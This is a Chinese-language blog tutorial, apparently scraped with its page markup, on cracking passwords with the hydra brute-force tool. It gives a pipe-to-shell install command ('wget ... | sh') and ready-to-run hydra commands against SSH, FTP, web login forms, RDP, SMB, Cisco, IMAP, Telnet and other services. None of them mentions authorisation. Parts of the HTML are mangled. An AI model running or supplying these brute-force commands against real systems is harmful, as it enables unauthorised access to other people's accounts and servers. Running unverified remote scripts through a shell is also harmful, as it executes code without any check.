kali破解ssh
阅读原文时间:2023年07月11日阅读:1

hydra,是一个非常好用的暴力破解工具,而且名字也很cool。

下面是官网上的介绍:

AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.

下面我们就来尝试使用它来破解ssh的密码:

1.首先安装这个软件

wget -q -O - http://www.atomicorp.com/installers/atomic | sh

yum install hydra

红帽系的linux下安装十分的非常简单,直接两行代码即可搞定。
windows下可能需要自己编译,下面是这个工具的github地址:

https://github.com/maaaaz/thc-hydra-windows

安装完成之后,使用

hydra -l root -P /home/saijie/桌面/password.txt -t 6 ssh://172.16.xx.xx

命令进行破解,l表示登陆的用户名,P参数后边跟密码字典,-t 表示线程数,最后跟上相应的ip地址即可。
破解的效率和字典有非常大的关系,这里推荐一个字典制作工具-crunch:。

相关的使用方法可以参考:

http://www.cnblogs.com/mitnick/p/6274091.html

下面是爆破其他服务的一些方法,具体如下:

破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:






  假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido
  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。</p> <p>破解https: <br /> # hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https <br /> 破解teamspeak: <br /> # hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak <br /> 破解cisco: <br /> # hydra -P pass.txt 10.36.16.18 cisco <br /> # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable <br /> 破解smb: <br /> # hydra -l administrator -P pass.txt 10.36.16.18 smb <br /> 破解pop3: <br /> # hydra -l muts -P pass.txt my.pop3.mail pop3 <br /> 破解rdp: <br /> # hydra ip rdp -l administrator -P pass.txt -V <br /> 破解http-proxy: <br /> # hydra -l admin -P pass.txt http-proxy://10.36.16.18 <br /> 破解imap: <br /> # hydra -L user.txt -p secret 10.36.16.18 imap PLAIN <br /> # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN <br /> 破解telnet <br /> # hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V</p></div></div><div class="MuiGrid-root jss8 MuiGrid-item MuiGrid-grid-xs-true MuiGrid-grid-md-3"><div class="MuiTypography-root jss26 MuiTypography-body1"><div class="MuiTypography-root jss27 MuiTypography-body1"><canvas style="height:108px;width:108px" height="108" width="108"></canvas><div class="MuiTypography-root jss28 MuiTypography-body1"><p class="MuiTypography-root jss29 MuiTypography-body1">手机扫一扫</p><p class="MuiTypography-root jss29 MuiTypography-body1">移动阅读更方便</p></div></div></div><div class="MuiTypography-root jss9 MuiTypography-body1"><div class="MuiTypography-root jss30 MuiTypography-body1" style="height:150px"><div class="swiper-container jss32"><div class="swiper-pagination"></div><div class="swiper-wrapper"><div class="swiper-slide jss32"><a class="MuiTypography-root MuiLink-root MuiLink-underlineHover jss32 MuiTypography-colorInherit" target="_blank" rel="nofollow noopener noreferrer" href="https://qd.rs/aliyun"><img alt="阿里云服务器" class="jss31" src="https://article.cdnof.com/promotion/aliyun.jpg"/></a></div><div class="swiper-slide jss32"><a class="MuiTypography-root MuiLink-root MuiLink-underlineHover jss32 MuiTypography-colorInherit" target="_blank" rel="nofollow noopener noreferrer" href="https://qd.rs/tencent"><img alt="腾讯云服务器" class="jss31" src="https://article.cdnof.com/promotion/tencent.jpg"/></a></div><div class="swiper-slide jss32"><a class="MuiTypography-root MuiLink-root MuiLink-underlineHover jss32 MuiTypography-colorInherit" target="_blank" rel="nofollow noopener noreferrer" href="https://qd.rs/qiniu"><img alt="七牛云服务器" class="jss31" src="https://article.cdnof.com/promotion/qiniu.png"/></a></div></div></div></div></div><div class="MuiTypography-root MuiTypography-body1"><div class="MuiTypography-root jss33 MuiTypography-body1"><p class="MuiTypography-root jss34 MuiTypography-body1">你可能感兴趣的文章</p><div class="MuiList-root MuiList-padding" aria-label="main mailbox folders"></div></div></div></div></div></div><footer style="margin-top:30px"><p class="MuiTypography-root MuiTypography-body2 MuiTypography-colorTextSecondary MuiTypography-alignCenter">Copyright © <a class="MuiTypography-root MuiLink-root MuiLink-underlineHover MuiTypography-colorInherit" href="https://v2as.com" title="哇哦,有大量工具等你探索">V2AS | 问路</a> <!-- -->2023<!-- --> <!-- -->.</p><p class="MuiTypography-root MuiTypography-body2 MuiTypography-colorTextSecondary MuiTypography-alignCenter"><a class="MuiTypography-root MuiLink-root MuiLink-underlineHover MuiTypography-colorInherit" rel="nofollow noopener noreferrer" href="https://beian.miit.gov.cn/">浙ICP备15029886号</a></p></footer></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"article":{"article_id":"fd2528ac-5fe1-47b9-ac87-217591f83b28","title":"kali破解ssh","link":"","description":"hydra,是一个非常好用的暴力破解工具,而且名字也很cool。\n下面是官网上的介绍:\nAFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POS","image":"","keywords":["破解","hydra","ssh","SSH","密码","kali","http","暴力破解","txt","ip"],"created_at":"2023-07-10T17:50:40.855Z","html":"\u003cp\u003ehydra,是一个非常好用的暴力破解工具,而且名字也很cool。\u003c/p\u003e\n\u003cp\u003e下面是官网上的介绍:\u003c/p\u003e\n\u003cp\u003eAFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. \u003cbr /\u003e\nFor HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.\u003c/p\u003e\n\u003cp\u003e下面我们就来尝试使用它来破解ssh的密码:\u003c/p\u003e\n\u003cp\u003e1.首先安装这个软件\u003c/p\u003e\n\u003cp\u003ewget -q -O - \u003ca rel=\"nofollow noopener noreferrer\" href=\"http://www.atomicorp.com/installers/atomic\"\u003ehttp://www.atomicorp.com/installers/atomic\u003c/a\u003e | sh\u003c/p\u003e\n\u003cp\u003eyum install hydra\u003c/p\u003e\n\u003cp\u003e红帽系的linux下安装十分的非常简单,直接两行代码即可搞定。 \u003cbr /\u003e\nwindows下可能需要自己编译,下面是这个工具的github地址:\u003c/p\u003e\n\u003cp\u003e\u003ca rel=\"nofollow noopener noreferrer\" href=\"https://github.com/maaaaz/thc-hydra-windows\"\u003ehttps://github.com/maaaaz/thc-hydra-windows\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e安装完成之后,使用\u003c/p\u003e\n\u003cp\u003ehydra -l root -P /home/saijie/桌面/password.txt -t 6 ssh://172.16.xx.xx\u003c/p\u003e\n\u003cp\u003e命令进行破解,l表示登陆的用户名,P参数后边跟密码字典,-t 表示线程数,最后跟上相应的ip地址即可。 \u003cbr /\u003e\n破解的效率和字典有非常大的关系,这里推荐一个字典制作工具-crunch:。\u003c/p\u003e\n\u003cp\u003e相关的使用方法可以参考:\u003c/p\u003e\n\u003cp\u003e\u003ca rel=\"nofollow noopener noreferrer\" href=\"http://www.cnblogs.com/mitnick/p/6274091.html\"\u003ehttp://www.cnblogs.com/mitnick/p/6274091.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下面是爆破其他服务的一些方法,具体如下:\u003c/p\u003e\n\u003cp\u003e破解ftp: \u003cbr /\u003e\n# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV \u003cbr /\u003e\n# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV \u003cbr /\u003e\nget方式提交,破解web登录: \u003cbr /\u003e\n  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ \u003cbr /\u003e\n  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php \u003cbr /\u003e\npost方式提交,破解web登录: \u003cbr /\u003e\n  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:\u003c/p\u003e\n\u003cform action=\"index.php\" method=\"POST\"\u003e \n\u003cinput type=\"text\" name=\"name\" /\u003e\u003cBR\u003e\u003cbr\u003e \n\u003cinput type=\"password\" name=\"pwd\" /\u003e\u003cbr\u003e\u003cbr\u003e \n\u003cinput type=\"submit\" name=\"sub\" value=\"提交\"\u003e \n\u003c/form\u003e\n\u003cp\u003e\u003cbr /\u003e\n  假设有以上一个密码登录表单,我们执行命令:\u003c/p\u003e\n\u003cp\u003e# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^\u0026amp;pwd=^PASS^:\u003ctitle\u003einvalido\u003c/title\u003e” \u003cbr /\u003e\n  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。\u003c/p\u003e\n\u003cp\u003e  后面参数是网页中对应的表单字段的name 属性,后面\u003ctitle\u003e中的内容是表示错误猜解的返回信息提示,可以自定义。\u003c/p\u003e\n\u003cp\u003e破解https: \u003cbr /\u003e\n# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https \u003cbr /\u003e\n破解teamspeak: \u003cbr /\u003e\n# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak \u003cbr /\u003e\n破解cisco: \u003cbr /\u003e\n# hydra -P pass.txt 10.36.16.18 cisco \u003cbr /\u003e\n# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable \u003cbr /\u003e\n破解smb: \u003cbr /\u003e\n# hydra -l administrator -P pass.txt 10.36.16.18 smb \u003cbr /\u003e\n破解pop3: \u003cbr /\u003e\n# hydra -l muts -P pass.txt my.pop3.mail pop3 \u003cbr /\u003e\n破解rdp: \u003cbr /\u003e\n# hydra ip rdp -l administrator -P pass.txt -V \u003cbr /\u003e\n破解http-proxy: \u003cbr /\u003e\n# hydra -l admin -P pass.txt http-proxy://10.36.16.18 \u003cbr /\u003e\n破解imap: \u003cbr /\u003e\n# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN \u003cbr /\u003e\n# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN \u003cbr /\u003e\n破解telnet \u003cbr /\u003e\n# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V\u003c/p\u003e"},"seo":{"title":"kali破解ssh","description":"hydra,是一个非常好用的暴力破解工具,而且名字也很cool。\n下面是官网上的介绍:\nAFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POS","image":"","url":"https://v2as.com/article/fd2528ac-5fe1-47b9-ac87-217591f83b28","keywords":["破解","hydra","ssh","SSH","密码","kali","http","暴力破解","txt","ip"]},"viewsCount":1,"promotionList":[{"title":"阿里云服务器","image":"https://article.cdnof.com/promotion/aliyun.jpg","link":"https://qd.rs/aliyun"},{"title":"腾讯云服务器","image":"https://article.cdnof.com/promotion/tencent.jpg","link":"https://qd.rs/tencent"},{"title":"七牛云服务器","image":"https://article.cdnof.com/promotion/qiniu.png","link":"https://qd.rs/qiniu"}],"similarKeywordsList":null},"__N_SSG":true},"page":"/article/[article_id]","query":{"article_id":"fd2528ac-5fe1-47b9-ac87-217591f83b28"},"buildId":"7EtL49Y65E8zx1NwcIC_o","isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>